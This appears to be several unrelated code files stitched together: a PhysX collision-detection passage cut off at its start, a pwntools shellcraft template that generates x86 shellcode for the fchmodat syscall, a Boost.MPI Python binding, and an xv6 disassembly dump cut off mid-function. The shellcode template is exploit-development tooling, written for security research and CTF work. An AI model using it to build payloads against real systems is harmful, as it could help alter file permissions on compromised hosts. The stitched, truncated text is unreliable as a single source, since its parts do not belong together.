b->mCCD->mPassDone = 0; b->mCCD->mNbInteractionsThisPass++; } if(ba0 && ba1) { //If both bodies exist (i.e. this is dynamic-dynamic collision), we create an //overlap between the 2 bodies used for island detection. if(!(ba0->isKinematic() || ba1->isKinematic())) { if(!ba0->mCCD->overlaps(ba1->mCCD)) { PxsCCDOverlap* overlapA = &mCCDOverlaps.pushBack(); PxsCCDOverlap* overlapB = &mCCDOverlaps.pushBack(); overlapA->mBody = ba1->mCCD; overlapB->mBody = ba0->mCCD; ba0->mCCD->addOverlap(overlapA); ba1->mCCD->addOverlap(overlapB); } } } } //We now create the CCD pair. These are used in the CCD sweep and update phases if (ba0->isKinematic() && (ba1 == NULL || ba1->isKinematic())) nbKinematicStaticCollisions++; { PxsCCDPair& p = mCCDPairs.pushBack(); p.mBa0 = ba0; p.mBa1 = ba1; p.mCCDShape0 = ccdShape0; p.mCCDShape1 = ccdShape1; p.mHasFriction = rc0->hasCCDFriction() || rc1->hasCCDFriction(); p.mMinToi = PX_MAX_REAL; p.mG0 = cm->mNpUnit.shapeCore0->geometry.getType(); p.mG1 = cm->mNpUnit.shapeCore1->geometry.getType(); p.mCm = cm; p.mIslandId = 0xFFFFffff; p.mIsEarliestToiHit = false; p.mFaceIndex = PXC_CONTACT_NO_FACE_INDEX; p.mIsModifiable = cm->isChangeable() != 0; p.mAppliedForce = 0.f; p.mMaxImpulse = PxMin((ba0->mCore->mFlags & PxRigidBodyFlag::eENABLE_CCD_MAX_CONTACT_IMPULSE) ? ba0->mCore->maxContactImpulse : PX_MAX_F32, (ba1 && ba1->mCore->mFlags & PxRigidBodyFlag::eENABLE_CCD_MAX_CONTACT_IMPULSE) ? ba1->mCore->maxContactImpulse : PX_MAX_F32); #if PX_ENABLE_SIM_STATS mContext->mSimStats.mNbCCDPairs[PxMin(p.mG0, p.mG1)][PxMax(p.mG0, p.mG1)] ++; #endif //Calculate the sum of the thresholds and work out if we need to perform a sweep. const PxReal thresh = PxMin(threshold0 + threshold1, mCCDThreshold); //If no shape pairs in the entire scene are fast-moving, we can bypass the entire of the CCD. needsSweep = needsSweep || (trA - trB).magnitudeSquared() >= (thresh * thresh); } } } //There are no fast-moving pairs in this scene, so we can terminate right now without proceeding any further if(!needsSweep) { updateCCDEnd(); mContext->putNpThreadContext(mCCDThreadContext); return; } } //Create the pair pointer buffer. This is a flattened array of pointers to pairs. It is used to sort the pairs //into islands and is also used to prioritize the pairs into their TOIs { const PxU32 size = mCCDPairs.size(); mCCDPtrPairs.reserve(size); for(PxU32 a = 0; a < size; ++a) { mCCDPtrPairs.pushBack(&mCCDPairs[a]); } mThresholdStream.reserve(Ps::nextPowerOfTwo(size)); for (PxU32 a = 0; a < mCCDBodies.size(); ++a) { mCCDBodies[a].mPreSolverVelocity.linear = mCCDBodies[a].mBody->getLinearVelocity(); mCCDBodies[a].mPreSolverVelocity.angular = mCCDBodies[a].mBody->getAngularVelocity(); } } PxU32 ccdBodyCount = mCCDBodies.size(); // -------------------------------------------------------------------------------------- // assign island labels const PxU16 noLabelYet = 0xFFFF; //Temporary array allocations. Ideally, we should use the scratch pad for there Array<PxU32> islandLabels; islandLabels.resize(ccdBodyCount); Array<const PxsCCDBody*> stack; stack.reserve(ccdBodyCount); stack.forceSize_Unsafe(ccdBodyCount); //Initialize all islands labels (for each body) to be unitialized mIslandSizes.forceSize_Unsafe(0); mIslandSizes.reserve(ccdBodyCount + 1); mIslandSizes.forceSize_Unsafe(ccdBodyCount + 1); for (PxU32 j = 0; j < ccdBodyCount; j++) islandLabels[j] = noLabelYet; PxU32 islandCount = 0; PxU32 stackSize = 0; const PxsCCDBody* top = NULL; for (PxU32 j = 0; j < ccdBodyCount; j++) { //If the body has already been labelled or if it is kinematic, continue //Also, if the body has no interactions this pass, continue. In single-pass CCD, only bodies with interactions would be part of the CCD. However, //with multi-pass CCD, we keep all bodies that interacted in previous passes. If the body now has no interactions, we skip it to ensure that island grouping doesn't fail in //later stages by assigning an island ID to a body with no interactions if (islandLabels[j] != noLabelYet || mCCDBodies[j].mBody->isKinematic() || mCCDBodies[j].mNbInteractionsThisPass == 0) continue; top = &mCCDBodies[j]; //Otherwise push it back into the queue and proceed islandLabels[j] = islandCount; stack[stackSize++] = top; // assign new label to unlabeled atom // assign the same label to all connected nodes using stack traversal PxU16 islandSize = 0; while (stackSize > 0) { --stackSize; const PxsCCDBody* ccdb = top; top = stack[PxMax(1u, stackSize)-1]; PxsCCDOverlap* overlaps = ccdb->mOverlappingObjects; while(overlaps) { if (islandLabels[overlaps->mBody->mIndex] == noLabelYet) // non-static & unlabeled? { islandLabels[overlaps->mBody->mIndex] = islandCount; stack[stackSize++] = overlaps->mBody; // push adjacent node to the top of the stack top = overlaps->mBody; islandSize++; } overlaps = overlaps->mNext; } } //Record island size mIslandSizes[islandCount] = PxU16(islandSize + 1); islandCount++; } PxU32 kinematicIslandId = islandCount; islandCount += nbKinematicStaticCollisions; for (PxU32 i = kinematicIslandId; i < islandCount; ++i) mIslandSizes[i] = 1; // -------------------------------------------------------------------------------------- // label pairs with island ids // (need an extra loop since we don't maintain a mapping from atom to all of it's pairs) mCCDIslandHistogram.clear(); // number of pairs per island mCCDIslandHistogram.resize(islandCount); PxU32 totalActivePairs = 0; for (PxU32 j = 0, n = mCCDPtrPairs.size(); j < n; j++) { const PxU32 staticLabel = 0xFFFFffff; PxsCCDPair& p = *mCCDPtrPairs[j]; PxU32 id0 = p.mBa0 && !p.mBa0->isKinematic()? islandLabels[p.mBa0->mCCD->getIndex()] : staticLabel; PxU32 id1 = p.mBa1 && !p.mBa1->isKinematic()? islandLabels[p.mBa1->mCCD->getIndex()] : staticLabel; PxU32 islandId = PxMin(id0, id1); if (islandId == staticLabel) islandId = kinematicIslandId++; p.mIslandId = islandId; mCCDIslandHistogram[p.mIslandId] ++; PX_ASSERT(p.mIslandId != staticLabel); totalActivePairs++; } PxU16 count = 0; for(PxU16 a = 0; a < islandCount+1; ++a) { PxU16 islandSize = mIslandSizes[a]; mIslandSizes[a] = count; count += islandSize; } mIslandBodies.forceSize_Unsafe(0); mIslandBodies.reserve(ccdBodyCount); mIslandBodies.forceSize_Unsafe(ccdBodyCount); for(PxU32 a = 0; a < mCCDBodies.size(); ++a) { const PxU32 island = islandLabels[mCCDBodies[a].mIndex]; if (island != 0xFFFF) { PxU16 writeIndex = mIslandSizes[island]; mIslandSizes[island] = PxU16(writeIndex + 1); mIslandBodies[writeIndex] = &mCCDBodies[a]; } } // -------------------------------------------------------------------------------------- // setup tasks mPostCCDDepenetrateTask.setContinuation(continuation); mPostCCDAdvanceTask.setContinuation(&mPostCCDDepenetrateTask); mPostCCDSweepTask.setContinuation(&mPostCCDAdvanceTask); // -------------------------------------------------------------------------------------- // sort all pairs by islands shdfnd::sort(mCCDPtrPairs.begin(), mCCDPtrPairs.size(), IslandPtrCompare()); // -------------------------------------------------------------------------------------- // sweep all CCD pairs const PxU32 nPairs = mCCDPtrPairs.size(); const PxU32 numThreads = PxMax(1u, mContext->mTaskManager->getCpuDispatcher()->getWorkerCount()); PX_ASSERT(numThreads > 0); mCCDPairsPerBatch = PxMax<PxU32>((nPairs)/numThreads, 1); for (PxU32 batchBegin = 0; batchBegin < nPairs; batchBegin += mCCDPairsPerBatch) { void* ptr = mContext->mTaskPool.allocate(sizeof(PxsCCDSweepTask)); PX_ASSERT_WITH_MESSAGE(ptr, "Failed to allocate PxsCCDSweepTask"); const PxU32 batchEnd = PxMin(nPairs, batchBegin + mCCDPairsPerBatch); PX_ASSERT(batchEnd >= batchBegin); PxsCCDSweepTask* task = PX_PLACEMENT_NEW(ptr, PxsCCDSweepTask)(mContext->getContextId(), mCCDPtrPairs.begin() + batchBegin, batchEnd - batchBegin, mCCDThreshold); task->setContinuation(*mContext->mTaskManager, &mPostCCDSweepTask); task->removeReference(); } mPostCCDSweepTask.removeReference(); mPostCCDAdvanceTask.removeReference(); mPostCCDDepenetrateTask.removeReference(); } void PxsCCDContext::postCCDSweep(PxBaseTask* continuation) { // -------------------------------------------------------------------------------------- // batch up the islands and send them over to worker threads PxU32 firstIslandPair = 0; PxU32 islandCount = mCCDIslandHistogram.size(); for (PxU32 firstIslandInBatch = 0; firstIslandInBatch < islandCount;) { PxU32 pairSum = 0; PxU32 lastIslandInBatch = firstIslandInBatch+1; PxU32 j; // add up the numbers in the histogram until we reach target pairsPerBatch for (j = firstIslandInBatch; j < islandCount; j++) { pairSum += mCCDIslandHistogram[j]; if (pairSum > mCCDPairsPerBatch) { lastIslandInBatch = j+1; break; } } if (j == islandCount) // j is islandCount if not enough pairs were left to fill up to pairsPerBatch { if (pairSum == 0) break; // we are done and there are no islands in this batch lastIslandInBatch = islandCount; } void* ptr = mContext->mTaskPool.allocate(sizeof(PxsCCDAdvanceTask)); PX_ASSERT_WITH_MESSAGE(ptr , "Failed to allocate PxsCCDSweepTask"); bool clipTrajectory = (miCCDPass == mCCDMaxPasses-1); PxsCCDAdvanceTask* task = PX_PLACEMENT_NEW(ptr, PxsCCDAdvanceTask) ( mCCDPtrPairs.begin(), mCCDPtrPairs.size(), mCCDBodies, mContext, this, mCCDThreadContext->mDt, miCCDPass, firstIslandPair, firstIslandInBatch, lastIslandInBatch-firstIslandInBatch, islandCount, mIslandBodies.begin(), mIslandSizes.begin(), clipTrajectory, mDisableCCDResweep, &mSweepTotalHits); firstIslandInBatch = lastIslandInBatch; firstIslandPair += pairSum; task->setContinuation(*mContext->mTaskManager, continuation); task->removeReference(); } // for iIsland } void PxsCCDContext::postCCDAdvance(PxBaseTask* /*continuation*/) { // -------------------------------------------------------------------------------------- // contact notifications: update touch status (multi-threading this section would probably slow it down but might be worth a try) PxU32 countLost = 0, countFound = 0, countRetouch = 0; PxU32 islandCount = mCCDIslandHistogram.size(); PxU32 index = 0; for (PxU32 island = 0; island < islandCount; ++island) { PxU32 islandEnd = mCCDIslandHistogram[island] + index; for(PxU32 j = index; j < islandEnd; ++j) { PxsCCDPair& p = *mCCDPtrPairs[j]; //The CCD pairs are ordered by TOI. If we reach a TOI > 1, we can terminate if(p.mMinToi > 1.f) break; //If this was the earliest touch for the pair of bodies, we can notify the user about it. If not, it's a future collision that we haven't stepped to yet if(p.mIsEarliestToiHit) { //Flag that we had a CCD contact p.mCm->setHadCCDContact(); //Test/set the changed touch map PxU16 oldTouch = p.mCm->getTouchStatus(); if (!oldTouch) { mContext->mContactManagerTouchEvent.growAndSet(p.mCm->getIndex()); p.mCm->mNpUnit.statusFlags = PxU16((p.mCm->mNpUnit.statusFlags & (~PxcNpWorkUnitStatusFlag::eHAS_NO_TOUCH)) | PxcNpWorkUnitStatusFlag::eHAS_TOUCH); //Also need to write it in the CmOutput structure!!!!! //The achieve this, we need to unregister the CM from the Nphase, then re-register it with the status set. This is the only way to force a push to the GPU mNphaseContext.unregisterContactManager(p.mCm); mNphaseContext.registerContactManager(p.mCm, 1, 0); countFound++; } else { mContext->mContactManagerTouchEvent.growAndSet(p.mCm->getIndex()); p.mCm->raiseCCDRetouch(); countRetouch++; } //Do we want to create reports? const bool createReports = p.mCm->mNpUnit.flags & PxcNpWorkUnitFlag::eOUTPUT_CONTACTS || (p.mCm->mNpUnit.flags & PxcNpWorkUnitFlag::eFORCE_THRESHOLD && ((p.mCm->mNpUnit.flags & PxcNpWorkUnitFlag::eDYNAMIC_BODY0 && static_cast<const PxsBodyCore*>(p.mCm->mNpUnit.rigidCore0)->shouldCreateContactReports()) || (p.mCm->mNpUnit.flags & PxcNpWorkUnitFlag::eDYNAMIC_BODY1 && static_cast<const PxsBodyCore*>(p.mCm->mNpUnit.rigidCore1)->shouldCreateContactReports()))); if(createReports) { mContext->mContactManagersWithCCDTouch.growAndSet(p.mCm->getIndex()); const PxU32 numContacts = 1; PxsMaterialInfo matInfo; Gu::ContactBuffer& buffer = mCCDThreadContext->mContactBuffer; Gu::ContactPoint& cp = buffer.contacts[0]; cp.point = p.mMinToiPoint; cp.normal = -p.mMinToiNormal; //KS - discrete contact gen produces contacts pointing in the opposite direction to CCD sweeps cp.internalFaceIndex1 = p.mFaceIndex; cp.separation = 0.0f; cp.restitution = p.mRestitution; cp.dynamicFriction = p.mDynamicFriction; cp.staticFriction = p.mStaticFriction; cp.targetVel = PxVec3(0.f); cp.maxImpulse = PX_MAX_REAL; matInfo.mMaterialIndex0 = p.mMaterialIndex0; matInfo.mMaterialIndex1 = p.mMaterialIndex1; //Write contact stream for the contact. This will allocate memory for the contacts and forces PxReal* contactForces; //PxU8* contactStream; PxU8* contactPatches; PxU8* contactPoints; PxU16 contactStreamSize; PxU8 contactCount; PxU8 nbPatches; PxsCCDContactHeader* ccdHeader = reinterpret_cast<PxsCCDContactHeader*>(p.mCm->mNpUnit.ccdContacts); if (writeCompressedContact(buffer.contacts, numContacts, mCCDThreadContext, contactCount, contactPatches, contactPoints, contactStreamSize, contactForces, numContacts*sizeof(PxReal), mCCDThreadContext->mMaterialManager, ((p.mCm->mNpUnit.flags & PxcNpWorkUnitFlag::eMODIFIABLE_CONTACT) != 0), true, &matInfo, nbPatches, sizeof(PxsCCDContactHeader),NULL, NULL, false, NULL, NULL, NULL, p.mFaceIndex != PXC_CONTACT_NO_FACE_INDEX)) { PxsCCDContactHeader* newCCDHeader = reinterpret_cast<PxsCCDContactHeader*>(contactPatches); newCCDHeader->contactStreamSize = Ps::to16(contactStreamSize); newCCDHeader->isFromPreviousPass = 0; p.mCm->mNpUnit.ccdContacts = contactPatches; // put the latest stream at the head of the linked list since it needs to get accessed every CCD pass // to prepare the reports if (!ccdHeader) newCCDHeader->nextStream = NULL; else { newCCDHeader->nextStream = ccdHeader; ccdHeader->isFromPreviousPass = 1; } //And write the force and contact count PX_ASSERT(contactForces != NULL); contactForces[0] = p.mAppliedForce; } else if (!ccdHeader) { p.mCm->mNpUnit.ccdContacts = NULL; // we do not set the status flag on failure because the pair might have written // a contact stream sucessfully during discrete collision this frame. } else ccdHeader->isFromPreviousPass = 1; //If the touch event already existed, the solver would have already configured the threshold stream if((p.mCm->mNpUnit.flags & (PxcNpWorkUnitFlag::eARTICULATION_BODY0 | PxcNpWorkUnitFlag::eARTICULATION_BODY1)) == 0 && p.mAppliedForce) { #if 1 ThresholdStreamElement elt; elt.normalForce = p.mAppliedForce; elt.accumulatedForce = 0.f; elt.threshold = PxMin<float>(p.mBa0 == NULL ? PX_MAX_REAL : p.mBa0->mCore->contactReportThreshold, p.mBa1 == NULL ? PX_MAX_REAL : p.mBa1->mCore->contactReportThreshold); elt.nodeIndexA = p.mCCDShape0->mNodeIndex; elt.nodeIndexB =p.mCCDShape1->mNodeIndex; Ps::order(elt.nodeIndexA,elt.nodeIndexB); PX_ASSERT(elt.nodeIndexA.index() < elt.nodeIndexB.index()); mThresholdStream.pushBack(elt); #endif } } } } index = islandEnd; } mContext->mCMTouchEventCount[PXS_LOST_TOUCH_COUNT] += countLost; mContext->mCMTouchEventCount[PXS_NEW_TOUCH_COUNT] += countFound; mContext->mCMTouchEventCount[PXS_CCD_RETOUCH_COUNT] += countRetouch; } void PxsCCDContext::postCCDDepenetrate(PxBaseTask* /*continuation*/) { // -------------------------------------------------------------------------------------- // reset mOverlappingShapes array for all bodies // we do it each pass because this set can change due to movement as well as new objects // becoming fast moving due to intra-frame impacts for (PxU32 j = 0; j < mCCDBodies.size(); j ++) { mCCDBodies[j].mOverlappingObjects = NULL; mCCDBodies[j].mNbInteractionsThisPass = 0; } mCCDOverlaps.clear_NoDelete(); updateCCDEnd(); mContext->putNpThreadContext(mCCDThreadContext); flushCCDLog(); } Cm::SpatialVector PxsRigidBody::getPreSolverVelocities() const { if (mCCD) return mCCD->mPreSolverVelocity; return Cm::SpatialVector(PxVec3(0.f), PxVec3(0.f)); } /*PxTransform PxsRigidBody::getAdvancedTransform(PxReal toi) const { //If it is kinematic, just return identity. We don't fully support kinematics yet if (isKinematic()) return PxTransform(PxIdentity); //Otherwise we interpolate the pose between the current and previous pose and return that pose PxVec3 newLastP = mLastTransform.p*(1.0f-toi) + mCore->body2World.p*toi; // advance mLastTransform position to toi PxQuat newLastQ = slerp(toi, getLastCCDTransform().q, mCore->body2World.q); // advance mLastTransform rotation to toi return PxTransform(newLastP, newLastQ); }*/ void PxsRigidBody::advancePrevPoseToToi(PxReal toi) { //If this is kinematic, just return if (isKinematic()) return; //update latest pose PxVec3 newLastP = mLastTransform.p*(1.0f-toi) + mCore->body2World.p*toi; // advance mLastTransform position to toi mLastTransform.p = newLastP; #if CCD_ROTATION_LOCKING mCore->body2World.q = getLastCCDTransform().q; #else // slerp from last transform to current transform with ratio of toi PxQuat newLastQ = slerp(toi, getLastCCDTransform().q, mCore->body2World.q); // advance mLastTransform rotation to toi mLastTransform.q = newLastQ; #endif } void PxsRigidBody::advanceToToi(PxReal toi, PxReal dt, bool clip) { if (isKinematic()) return; if (clip) { //If clip is true, we set the previous and current pose to be the same. This basically makes the object appear stationary in the CCD mCore->body2World.p = getLastCCDTransform().p; #if !CCD_ROTATION_LOCKING mCore->body2World.q = getLastCCDTransform().q; #endif } else { // advance new CCD target after impact to remaining toi using post-impact velocities mCore->body2World.p = getLastCCDTransform().p + getLinearVelocity() * dt * (1.0f - toi); #if !CCD_ROTATION_LOCKING PxVec3 angularDelta = getAngularVelocity() * dt * (1.0f - toi); PxReal deltaMag = angularDelta.magnitude(); PxVec3 deltaAng = deltaMag > 1e-20f ? angularDelta / deltaMag : PxVec3(1.0f, 0.0f, 0.0f); PxQuat angularQuat(deltaMag, deltaAng); mCore->body2World.q = getLastCCDTransform().q * angularQuat; #endif PX_ASSERT(mCore->body2World.isSane()); } // rescale total time left to elapse this frame mCCD->mTimeLeft = PxMax(mCCD->mTimeLeft * (1.0f - toi), CCD_MIN_TIME_LEFT); } void PxsCCDContext::runCCDModifiableContact(PxModifiableContact* PX_RESTRICT contacts, PxU32 contactCount, const PxsShapeCore* PX_RESTRICT shapeCore0, const PxsShapeCore* PX_RESTRICT shapeCore1, const PxsRigidCore* PX_RESTRICT rigidCore0, const PxsRigidCore* PX_RESTRICT rigidCore1, const PxsRigidBody* PX_RESTRICT rigid0, const PxsRigidBody* PX_RESTRICT rigid1) { if(!mCCDContactModifyCallback) return; class PxcContactSet: public PxContactSet { public: PxcContactSet(PxU32 count, PxModifiableContact* contacts_) { mContacts = contacts_; mCount = count; } }; { PxContactModifyPair p; p.shape[0] = gPxvOffsetTable.convertPxsShape2Px(shapeCore0); p.shape[1] = gPxvOffsetTable.convertPxsShape2Px(shapeCore1); p.actor[0] = rigid0 != NULL ? gPxvOffsetTable.convertPxsRigidCore2PxRigidBody(rigidCore0) : gPxvOffsetTable.convertPxsRigidCore2PxRigidStatic(rigidCore0); p.actor[1] = rigid1 != NULL ? gPxvOffsetTable.convertPxsRigidCore2PxRigidBody(rigidCore1) : gPxvOffsetTable.convertPxsRigidCore2PxRigidStatic(rigidCore1); p.transform[0] = getShapeAbsPose(shapeCore0, rigidCore0, PxU32(rigid0 != NULL)); p.transform[1] = getShapeAbsPose(shapeCore1, rigidCore1, PxU32(rigid1 != NULL)); static_cast<PxcContactSet&>(p.contacts) = PxcContactSet(contactCount, contacts); mCCDContactModifyCallback->onCCDContactModify(&p, 1); } } } //namespace physx
<% import collections import pwnlib.abi import pwnlib.constants import pwnlib.shellcraft import six %> <%docstring>fchmodat(fd, file, mode, flag) -> str Invokes the syscall fchmodat. See 'man 2 fchmodat' for more information. Arguments: fd(int): fd file(char*): file mode(mode_t): mode flag(int): flag Returns: int </%docstring> <%page args="fd=0, file=0, mode=0, flag=0"/> <% abi = pwnlib.abi.ABI.syscall() stack = abi.stack regs = abi.register_arguments[1:] allregs = pwnlib.shellcraft.registers.current() can_pushstr = ['file'] can_pushstr_array = [] argument_names = ['fd', 'file', 'mode', 'flag'] argument_values = [fd, file, mode, flag] # Load all of the arguments into their destination registers / stack slots. register_arguments = dict() stack_arguments = collections.OrderedDict() string_arguments = dict() dict_arguments = dict() array_arguments = dict() syscall_repr = [] for name, arg in zip(argument_names, argument_values): if arg is not None: syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False))) # If the argument itself (input) is a register... if arg in allregs: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[index] = arg # The argument is not a register. It is a string value, and we # are expecting a string value elif name in can_pushstr and isinstance(arg, (six.binary_type, six.text_type)): if isinstance(arg, six.text_type): arg = arg.encode('utf-8') string_arguments[name] = arg # The argument is not a register. It is a dictionary, and we are # expecting K:V paris. elif name in can_pushstr_array and isinstance(arg, dict): array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()] # The arguent is not a register. It is a list, and we are expecting # a list of arguments. elif name in can_pushstr_array and isinstance(arg, (list, tuple)): array_arguments[name] = arg # The argument is not a register, string, dict, or list. # It could be a constant string ('O_RDONLY') for an integer argument, # an actual integer value, or a constant. else: index = argument_names.index(name) if index < len(regs): target = regs[index] register_arguments[target] = arg elif arg is not None: stack_arguments[target] = arg # Some syscalls have different names on various architectures. # Determine which syscall number to use for the current architecture. for syscall in ['SYS_fchmodat']: if hasattr(pwnlib.constants, syscall): break else: raise Exception("Could not locate any syscalls: %r" % syscalls) %> /* fchmodat(${', '.join(syscall_repr)}) */ %for name, arg in string_arguments.items(): ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\x00' not in arg))} ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)} %endfor %for name, arg in array_arguments.items(): ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)} %endfor %for name, arg in stack_arguments.items(): ${pwnlib.shellcraft.push(arg)} %endfor ${pwnlib.shellcraft.setregs(register_arguments)} ${pwnlib.shellcraft.syscall(syscall)}
// (C) Copyright 2006 Douglas Gregor <doug.gregor -at- gmail.com> // Use, modification and distribution is subject to the Boost Software // License, Version 1.0. (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // Authors: Douglas Gregor /** @file communicator.cpp * * This file reflects the Boost.MPI @c communicator class into * Python. */ #include <boost/python.hpp> #include <boost/mpi.hpp> #include <boost/mpi/python/serialize.hpp> #include "request_with_value.hpp" using namespace boost::python; using namespace boost::mpi; namespace boost { namespace mpi { namespace python { extern const char* communicator_docstring; extern const char* communicator_default_constructor_docstring; extern const char* communicator_rank_docstring; extern const char* communicator_size_docstring; extern const char* communicator_send_docstring; extern const char* communicator_recv_docstring; extern const char* communicator_isend_docstring; extern const char* communicator_irecv_docstring; extern const char* communicator_probe_docstring; extern const char* communicator_iprobe_docstring; extern const char* communicator_barrier_docstring; extern const char* communicator_split_docstring; extern const char* communicator_split_key_docstring; extern const char* communicator_abort_docstring; object communicator_recv(const communicator& comm, int source, int tag, bool return_status) { using boost::python::make_tuple; object result; status stat = comm.recv(source, tag, result); if (return_status) return make_tuple(result, stat); else return result; } request_with_value communicator_irecv(const communicator& comm, int source, int tag) { boost::shared_ptr<object> result(new object()); request_with_value req(comm.irecv(source, tag, *result)); req.m_internal_value = result; return req; } object communicator_iprobe(const communicator& comm, int source, int tag) { if (boost::optional<status> result = comm.iprobe(source, tag)) return object(*result); else return object(); } extern void export_skeleton_and_content(class_<communicator>&); void export_communicator() { using boost::python::arg; using boost::python::object; class_<communicator> comm("Communicator", communicator_docstring); comm .def(init<>()) .add_property("rank", &communicator::rank, communicator_rank_docstring) .add_property("size", &communicator::size, communicator_size_docstring) .def("send", (void (communicator::*)(int, int, const object&) const) &communicator::send<object>, (arg("dest"), arg("tag") = 0, arg("value") = object()), communicator_send_docstring) .def("recv", &communicator_recv, (arg("source") = any_source, arg("tag") = any_tag, arg("return_status") = false), communicator_recv_docstring) .def("isend", (request (communicator::*)(int, int, const object&) const) &communicator::isend<object>, (arg("dest"), arg("tag") = 0, arg("value") = object()), communicator_isend_docstring) .def("irecv", &communicator_irecv, (arg("source") = any_source, arg("tag") = any_tag), communicator_irecv_docstring) .def("probe", &communicator::probe, (arg("source") = any_source, arg("tag") = any_tag), communicator_probe_docstring) .def("iprobe", &communicator_iprobe, (arg("source") = any_source, arg("tag") = any_tag), communicator_iprobe_docstring) .def("barrier", &communicator::barrier, communicator_barrier_docstring) .def("__nonzero__", &communicator::operator bool) .def("split", (communicator (communicator::*)(int) const)&communicator::split, (arg("color")), communicator_split_docstring) .def("split", (communicator (communicator::*)(int, int) const)&communicator::split, (arg("color"), arg("key"))) .def("abort", &communicator::abort, arg("errcode"), communicator_abort_docstring) ; // Module-level attributes scope().attr("any_source") = any_source; scope().attr("any_tag") = any_tag; { communicator world; scope().attr("world") = world; scope().attr("rank") = world.rank(); scope().attr("size") = world.size(); } // Export skeleton and content export_skeleton_and_content(comm); } } } } // end namespace boost::mpi::python
_setpriority: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "user.h" //#include "defs.h" int main(int argc, char *argv[]) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 e4 f0 and $0xfffffff0,%esp setpriority(); 6: e8 4d 03 00 00 call 358 <setpriority> exit(); b: e8 68 02 00 00 call 278 <exit> 00000010 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 10: 55 push %ebp 11: 89 e5 mov %esp,%ebp 13: 57 push %edi 14: 53 push %ebx asm volatile("cld; rep stosb" : 15: 8b 4d 08 mov 0x8(%ebp),%ecx 18: 8b 55 10 mov 0x10(%ebp),%edx 1b: 8b 45 0c mov 0xc(%ebp),%eax 1e: 89 cb mov %ecx,%ebx 20: 89 df mov %ebx,%edi 22: 89 d1 mov %edx,%ecx 24: fc cld 25: f3 aa rep stos %al,%es:(%edi) 27: 89 ca mov %ecx,%edx 29: 89 fb mov %edi,%ebx 2b: 89 5d 08 mov %ebx,0x8(%ebp) 2e: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 31: 5b pop %ebx 32: 5f pop %edi 33: 5d pop %ebp 34: c3 ret 00000035 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 35: 55 push %ebp 36: 89 e5 mov %esp,%ebp 38: 83 ec 10 sub $0x10,%esp char *os; os = s; 3b: 8b 45 08 mov 0x8(%ebp),%eax 3e: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 41: 90 nop 42: 8b 45 08 mov 0x8(%ebp),%eax 45: 8d 50 01 lea 0x1(%eax),%edx 48: 89 55 08 mov %edx,0x8(%ebp) 4b: 8b 55 0c mov 0xc(%ebp),%edx 4e: 8d 4a 01 lea 0x1(%edx),%ecx 51: 89 4d 0c mov %ecx,0xc(%ebp) 54: 0f b6 12 movzbl (%edx),%edx 57: 88 10 mov %dl,(%eax) 59: 0f b6 00 movzbl (%eax),%eax 5c: 84 c0 test %al,%al 5e: 75 e2 jne 42 <strcpy+0xd> ; return os; 60: 8b 45 fc mov -0x4(%ebp),%eax } 63: c9 leave 64: c3 ret 00000065 <strcmp>: int strcmp(const char *p, const char *q) { 65: 55 push %ebp 66: 89 e5 mov %esp,%ebp while(*p && *p == *q) 68: eb 08 jmp 72 <strcmp+0xd> p++, q++; 6a: 83 45 08 01 addl $0x1,0x8(%ebp) 6e: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 72: 8b 45 08 mov 0x8(%ebp),%eax 75: 0f b6 00 movzbl (%eax),%eax 78: 84 c0 test %al,%al 7a: 74 10 je 8c <strcmp+0x27> 7c: 8b 45 08 mov 0x8(%ebp),%eax 7f: 0f b6 10 movzbl (%eax),%edx 82: 8b 45 0c mov 0xc(%ebp),%eax 85: 0f b6 00 movzbl (%eax),%eax 88: 38 c2 cmp %al,%dl 8a: 74 de je 6a <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; 8c: 8b 45 08 mov 0x8(%ebp),%eax 8f: 0f b6 00 movzbl (%eax),%eax 92: 0f b6 d0 movzbl %al,%edx 95: 8b 45 0c mov 0xc(%ebp),%eax 98: 0f b6 00 movzbl (%eax),%eax 9b: 0f b6 c0 movzbl %al,%eax 9e: 29 c2 sub %eax,%edx a0: 89 d0 mov %edx,%eax } a2: 5d pop %ebp a3: c3 ret 000000a4 <strlen>: uint strlen(char *s) { a4: 55 push %ebp a5: 89 e5 mov %esp,%ebp a7: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) aa: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) b1: eb 04 jmp b7 <strlen+0x13> b3: 83 45 fc 01 addl $0x1,-0x4(%ebp) b7: 8b 55 fc mov -0x4(%ebp),%edx ba: 8b 45 08 mov 0x8(%ebp),%eax bd: 01 d0 add %edx,%eax bf: 0f b6 00 movzbl (%eax),%eax c2: 84 c0 test %al,%al c4: 75 ed jne b3 <strlen+0xf> ; return n; c6: 8b 45 fc mov -0x4(%ebp),%eax } c9: c9 leave ca: c3 ret 000000cb <memset>: void* memset(void *dst, int c, uint n) { cb: 55 push %ebp cc: 89 e5 mov %esp,%ebp ce: 83 ec 0c sub $0xc,%esp stosb(dst, c, n); d1: 8b 45 10 mov 0x10(%ebp),%eax d4: 89 44 24 08 mov %eax,0x8(%esp) d8: 8b 45 0c mov 0xc(%ebp),%eax db: 89 44 24 04 mov %eax,0x4(%esp) df: 8b 45 08 mov 0x8(%ebp),%eax e2: 89 04 24 mov %eax,(%esp) e5: e8 26 ff ff ff call 10 <stosb> return dst; ea: 8b 45 08 mov 0x8(%ebp),%eax } ed: c9 leave ee: c3 ret 000000ef <strchr>: char* strchr(const char *s, char c) { ef: 55 push %ebp f0: 89 e5 mov %esp,%ebp f2: 83 ec 04 sub $0x4,%esp 